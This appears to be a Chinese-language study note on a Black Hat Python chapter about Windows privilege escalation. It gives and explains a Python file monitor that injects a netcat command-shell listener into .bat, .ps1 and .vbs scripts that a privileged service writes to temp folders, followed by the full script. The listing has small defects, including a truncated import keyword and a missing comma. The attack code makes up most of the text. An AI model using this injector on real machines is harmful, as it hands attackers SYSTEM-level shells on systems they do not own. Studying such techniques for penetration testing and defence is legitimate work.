黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第十章 Windows提权(3)代码注入
文章目录
写在前面
现在我们可以监视进程和文件位置,我们将自动把代码注入目标文件。我们将创建非常简单的代码片段用于生成netcat.py脚本的编译版本,并使其具有始发服务的特权级别。我们可以使用这些VBScript、批处理和PowerShell文件做大量令人讨厌的事情。我们将创建一个通用框架,以便可以从中运行任意功能块。
修改file_monitor.py脚本
现在修改file_monitor.py脚本,在文件修改常量后添加以下代码:
NETCAT = 'c:\\Users\\lpx\\work\\netcat.exe'
TGT_IP = '192.168.65.141'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '
我们将要注入的代码将使用这些常量:TGT_IP是受害者的IP地址(我们正在注入代码的Windows),TGT_PORT是我们将要连接的端口。NETCAT变量给出了我们在第2章中编码的NETCAT替代程序的位置。如果还没有从该代码创建可执行文件,现在可以创建一下:
> pyinstaller -F netcat.py
运行结果如下。
构建注入代码
然后将生成的netcat.exe文件放到指定的目录,并确保NETCAT变量指向该可执行文件。
我们注入的代码将执行并创建一个反弹shell:
FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n']
'.vbs': ["\r\nbhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}
def inject_code(full_fileneme, contents, extention):
if FILE_TYPES[extention][0].strip() in contents:
return
full_contents = FILE_TYPES[extention][0]
full_contents += FILE_TYPES[extention][1]
full_contents += contents
with open(full_fileneme, 'w') as f:
f.write(full_contents)
print('\\o/ Injected Code')
我们首先定义一个匹配特定文件扩展名的代码段字典。代码片段包括一个唯一的标记和我们要注入的代码。我们使用标记的原因是为了避免一个无限循环,在这个循环中,我们可以看到文件修改,插入代码,并使程序将此操作检测为文件修改事件。如果不这样做,这个循环会一直持续到文件把硬盘撑爆。相反,程序将检查标记,如果找到标记,则知道不需要再次修改文件。
构建代码注入函数
接下来,inject_code函数处理实际的代码注入和文件标记检查。在确认标记不存在之后,我们添加标记和希望目标进程运行的代码。现在,我们需要修改主循环,以包含文件扩展名检查和对inject_code的调用,将原来代码中的“elif action == FILE_MODIFIE”下的代码块进行调整如下:
elif action == FILE_MODIFIED:
print(f'[*] Modified {full_filename}')
extension = os.path.splitext(full_filename)[1]
if extension in FILE_TYPES:
print(f'[*] Modified {full_filename}')
print(f'[vvv] Dumping contents ...')
try:
with open(full_filename) as f:
contents = f.read()
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
except Exception as e:
print(f'[!!!] Dump failed. {e}')
这是对主循环的一个非常直接的添加。我们快速拆分文件扩展名,然后根据已知文件类型的字典进行检查。如果在字典中检测到文件扩展名,我们将调用inject_code函数。下面我们运行一下。
小试牛刀
如果在本章开始时安装了bhservice,我们可以轻松地测试我们的代码注入器。确保服务正在运行,然后执行file_monitor.py脚本。最后,我们应该会看到输出,表明已经创建和修改了.vbs文件,并且代码已经注入。在下面的示例中,我们注释了内容的打印以节省空间:
如果打开新的cmd窗口,我们应该会看到目标端口已打开:
如果一切顺利,可以使用nc命令或运行netcat.py脚本来连接刚刚生成的侦听器。为了确保我们的提权有效,请从我们的Kali机器连接到侦听器,并检查我们作为哪个用户运行:
同样的用nmap端口扫描,也可以扫描到对应的端口。
原始代码
按照惯例附上代码
rom ctypes.wintypes import WIN32_FIND_DATAA
from distutils import extension
from importlib.resources import contents
from lib2to3.pytree import _Results
import os
import tempfile
import threading
import win32con
import win32file
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
NETCAT = 'c:\\Users\\lpx\\work\\netcat.exe'
TGT_IP = '192.168.65.141'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '
FILE_LIST_DIRECTORY = 0x0001
PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]
FILE_TYPES = {
'.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
'.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n']
'.vbs': ["\r\nbhpmarker\r\n", f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}
def inject_code(full_fileneme, contents, extention):
if FILE_TYPES[extention][0].strip() in contents:
return
full_contents = FILE_TYPES[extention][0]
full_contents += FILE_TYPES[extention][1]
full_contents += contents
with open(full_fileneme, 'w') as f:
f.write(full_contents)
print('\\o/ Injected Code')
def monitor(path_to_watch):
h_directory = win32file.CreateFile(
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while True:
try:
results = win32file.ReadDirectoryChangesW(
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE,
None,
None)
for action, file_name in results:
full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print(f'[+] Created {full_filename}')
elif action == FILE_DELETED:
print(f'[-] Deleted {full_filename}')
elif action == FILE_MODIFIED:
print(f'[*] Modified {full_filename}')
extension = os.path.splitext(full_filename)[1]
if extension in FILE_TYPES:
print(f'[*] Modified {full_filename}')
print(f'[vvv] Dumping contents ...')
try:
with open(full_filename) as f:
contents = f.read()
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
except Exception as e:
print(f'[!!!] Dump failed. {e}')
elif action == FILE_RENAMED_FROM:
print(f'[>] Renamed from {full_filename}')
elif action == FILE_RENAMED_TO:
print(f'[<] Renamed to {full_filename}')
else:
print(f'[?] Unknow action on {full_filename}')
except Exception:
pass
if __name__ == '__main__':
for path in PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path,))
monitor_thread.start()
这应该表明我们已获得神圣的系统帐户的特权,我们的代码注入成功了。
在本章结束时,我们可能会认为其中一些攻击有点深奥。但如果在一个大企业里花足够的时间,我们就会意识到这些策略是非常可行的。我们可以轻松地扩展本章中的工具,或将其转换为专业脚本,以操纵本地帐户或应用程序。WMI本身可以成为本地侦察数据的优秀来源;一旦进入网络,它可以我们你进一步攻击。特权升级对于任何好的特洛伊木马来说都是必不可少的。